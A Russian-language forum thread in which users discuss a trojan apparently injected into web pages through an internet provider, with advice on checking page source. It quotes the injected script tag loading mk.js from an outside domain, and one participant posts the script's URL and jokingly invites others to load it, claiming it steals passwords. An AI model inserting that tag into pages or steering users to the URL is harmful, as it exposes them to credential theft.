Осторожно! В интерете ходит новый опасный вирус

С огромной долей вероятности этот троян уже есть в вашем компьютере :) DrWeb и Касперский с последними обновлениями его не видят.
Распространяется он через обычные модифицированные интернет странички, не обязательно варезные или порнушные. Вот вы сейчас читаете этот текст, а вирус уже ломится с этой страницы в ваш компьютер.
Для того, чтобы в этом убедится нажмите правую кнопку мыши на свободном поле страницы, выберите пункт "просмотреть исходный текст"
если первой строкой текста будет строчка:
[HTML]<script language="javascript" type="text/javascript" src="http://mk.cxaaaa.cn/mk.js"></script> [/HTML]
то троян уже с вами, примите мои поздравления. Строчка может появляться не каждый раз иметь некоторые отличия в адресе, попробуйте открыть другую страницу и посмотреть. Похоже, заражаются сервера интернет провайдеров и дальше уже заражают всех пользователей.
Это только вершина айсберга, информации об этом почти нет, а вирус, который внедряется в сайты и форумы уже действует.

че та у мну такого нету пока что, я так понимаю, что это хорошо.

ЗЫ вы поймали его?

Цитата:

---

Сообщение от Pokytime

ЗЫ вы поймали его?

---

Похоже, что последний месяц интернета у меня нет из-за этой твари, которая гуляет по всей локалке. Винду переставлял, тварь упорно лезет в компьютер через измененные страницы со всех сайтов.

Цитата:

---

Сообщение от Master_CarAudio

Похоже, что последний месяц интернета у меня нет из-за этой твари, которая гуляет по всей локалке. Винду переставлял, тварь упорно лезет в компьютер через измененные страницы со всех сайтов.

---

ну, эээ, а отправть на анализ касперскому?

Ничё нету:)))
Стоит НОД32:)

Цитата:

---

Сообщение от Pokytime

ну, эээ, а отправть на анализ касперскому?

---

касперыч блокирует вирус только как сетевую атаку, а аутпост файрвол, дрвеб говорят, что вирусов нет и спокойно пущают троян в комп. Сейчас всем отправлю, пусть разбираются.

Я с вирусняками вторую неделю борюсь((((( Задолбали конкретно, раз пять уже систему переустанавливал:@#$%^: На НОД32 ему срать, в ДрВебе чувствует ся как дома. Что с этой тварью делать - ума не приложу!

Цитата:

---

Сообщение от plusive

Что с этой тварью делать - ума не приложу!

---

Я пока поставил No Script в Firefox_е и запретил загрузку скрипта с вирусом, антивирусы его не ловят и что он будет делать в компьютере тоже не понятно.
Наверное пароли от мыл и асек потырит, может какие файлы интересные до кучи украдет.

Цитата:

---

Сообщение от sam01

Ничё нету)) Стоит НОД32

---

Тебе сегодня везет :)
Я сейчас 5 раз перегрузил страничку трояна нет, а на 6 появился.
Дождусь открытия интернет-офиса и весь мозг им вынесу, за мои же деньги меня еще и вирусами потчуют.

Цитата:

---

Сообщение от Master_CarAudio

Тебе сегодня везет :)
Я сейчас 5 раз перегрузил страничку трояна нет, а на 6 появился.
Дождусь открытия интернет-офиса и весь мозг им вынесу, за мои же деньги меня еще и вирусами потчуют.

---

пральна, ипите им моск :class:

Цитата:

---

Сообщение от Pokytime

пральна, ипите им моск

---

их уже не жалко, у меня 3 новых провайдера на примете, куда буду уходить :)
Теперь бы с помощью участников форума выяснить, насколько сильно распространен этот вирус в интернете, или он сконцентрировался только в сети моего провайдера.
Впрочем уже выяснил гугль только по одной ссылке говорит, что число зараженных вирусом сайтов уже исчисляется сотнями тысяч и эпидемия продолжается ;) Прячьте ваши аськи.

у меня на компе стоит аваст.проверил:такой хрени нет.да и вообще никакой,кроме нужных.

Цитата:

---

Сообщение от Pokytime

че та у мну такого нету пока что, я так понимаю, что это хорошо.

---

ща пришлём)))

Цитата:

---

Сообщение от ED2000

ща пришлём)))

---

Махмуд, загружай!!! :foff1:

Нука,Серёга,отгрузи ему комплектик)))

И мне и мне :D

А можно поконкретней шо он делает ентот вирус ? какая цель унего ?, просто тупа выносить кампутер :)

В связи с большим спросом, ссылку в студию:D.Заодно и протестируем.:heavymetal:

я не буду ниче нажимать Flipa

Да нет проблем, мне не жалко, грузите скрипт http://mk.cxaaaa.cn/mk.js
он украдет все ваши пароли от форума, почты итд. На форумы вряд ли кто-то польстица, а вот на красивые аськи, мыла...

Цитата:

---

Сообщение от Master_CarAudio

Да нет проблем, мне не жалко, грузите скрипт http://mk.cxaaaa.cn/mk.js он украдет все ваши пароли от форума, почты итд.

---

НЕПРАВЕЛЬНАЯ ССЫЛКА! Вот правельная всему ####ец!!! :)

зы. не сцыте - можно нажимать

Цитата:

---

Сообщение от Booz

Вот правельная всему ####ец!!! зы. не сцыте - можно нажимать

---

у меня не работает, что должно произойти?

Блин, добрые у нас все-таки люди - последним вирусом с друзьями поделятся :)
ЗЫ Завтра с рабочего компа попробую - будут знать как по выходням заставлять работать :p:D:D:D

А чё я не понял , у нас на форуме нет хацкеров , там я чёта читал шо можно замутить виртуальную машину , вскормить эту махину вирусу , каким то там снифером пройтись , посмареть куда пакеты идут нати дать па фене хорошо , чтоб забыл как клава выглядит :) зы. Сильно не пинать ибо чайник , просто читал в нете что то про енто :)

Цитата:

---

Сообщение от Cimon

Блин, добрые у нас все-таки люди - последним вирусом с друзьями поделятся ЗЫ Завтра с рабочего компа попробую - будут знать как по выходням заставлять работать

---

У тебя деньги в интернете есть?
Запусти виря и сходи на яндекс деньги или еще в какую-нибудь платежную систему и отдай вирусу пароль вместе с деньгами :)

Цитата:

---

Сообщение от Gevo

А чё я не понял , у нас на форуме нет хацкеров , там я чёта читал шо можно замутить виртуальную машину , вскормить эту махину вирусу , каким то там снифером пройтись , посмареть куда пакеты идут нати дать па фене хорошо , чтоб забыл как клава выглядит зы. Сильно не пинать ибо чайник , просто читал в нете что то про енто

---

можно, тока главное основную ОС не накормить, когда в виртуалку подсовывать будешь )
Master_CarAudio
чет не могу с твоих сообщений цитату вставить ... трипак не дает чтоль? )
ссылка работает у меня.. .х.з.

Цитата:

---

Сообщение от Booz

ссылка работает у меня.. .х.з.

---

У меня Firefox в нем не работает, что она хоть делать должна?

у мну тоже фаерфокс - усе работает, да там прикол

У меня тож чёта не прёт , клацал на кнопку ни буя , мож НотСкрипт отключить надо :D

вирусы, вирусы... пугаете тут народ:) ну скрипт. ну куки тырит... ну и пусть себе тырит:))

А если их чистить каждый раз , у мну после закрытия фаерфокс всё удаляет ( вроде бы , просто када АВГ сканить начинает выплывают всякие куки , типа кейлогеры сранные :banghead: )

Цитата:

---

Сообщение от NEOlitik

ну куки тырит... ну и пусть себе тырит)

---

Это не самое страшное, не понятно, где и как модифицируются страницы.
Провайдер не знает, Касперский тоже. С такой же легкостью в страницы можно засунуть вирусягу и помощней.

кроме этого скрипта что еще от вируса есть? можно покопаться, до нас видать не докатилось еще...))

Цитата:

---

Сообщение от Master_CarAudio

Это не самое страшное, не понятно, где и как модифицируются страницы. Провайдер не знает, Касперский тоже. С такой же легкостью в страницы можно засунуть вирусягу и помощней.

---

Вот теперь дядь Серёж вы меня начинаете пугать , это типа супервирус обьявился в сети , или я не понял совсем , как понять модифицируются ? , найден способ как вшивать в тело старницы всяку заразу , и оставаться сухим при этом :)
Нипанатна :D

Цитата:

---

Сообщение от Gevo

Вот теперь дядь Серёж вы меня начинаете пугать , это типа супервирус обьявился в сети , или я не понял совсем , как понять модифицируются ? , найден способ как вшивать в тело старницы всяку заразу , и оставаться сухим при этом :)
Нипанатна :D

---

плюсег:D

Да именно так. В страничку внедряется вредоносный код. Кстати, еще в прошлом году читал на одном форуме, люди жаловались, что странички сайта на народе модифицируются, но там не одна строчка добавлялась, а полноценный вирус из нескольких десятков строк кода.
А между прочим, сейчас вирус отстал, за весь вечер еще ни разу не включился ;)
То ли провайдер его пофиксил, то ли хакеры бомбить перестали.

Master_CarAudio, судя по скрипту - они модифицируются у тебя на машине... "...я конечно не спец, но посмотреть могу":) отправил уже скрипт на растерзание, завтра все известно будет:)))

Давайте давайте парни , надо задушить гниду :)

Цитата:

---

Сообщение от NEOlitik

Master_CarAudio, судя по скрипту - они модифицируются у тебя на машине

---

На трех компьютерах сразу?
Объясняю. На ноутбуке форматировался диск С, на него устанавливался лицензионный Windows XP SP3 + лицензионный Касперский интернет секьюрити.
С майкрософта скачивались все последние заплатки для винды, а с касперского обновления.
Как показали эксперименты, этого набора вполне достаточно, чтобы вирус чувствовал себя, как дома ;)

Стоп, а с майкрософта ли? Помнится, один падлючий провайдер в целях экономии трафика поставил редирект всех запросов на виндовсапдейт на свои сервера, где лежали паки.

Можыт заделатцо линукс-задротом и не знать проблем с вирями, потому что на него их надо вручную устанавливать?:heavymetal:

Цитата:

---

Сообщение от Master_CarAudio

А между прочим, сейчас вирус отстал, за весь вечер еще ни разу не включился То ли провайдер его пофиксил, то ли хакеры бомбить перестали.

---

Просто вирус наш форум почитал и подумал "Да ну их нафиг!!!" :)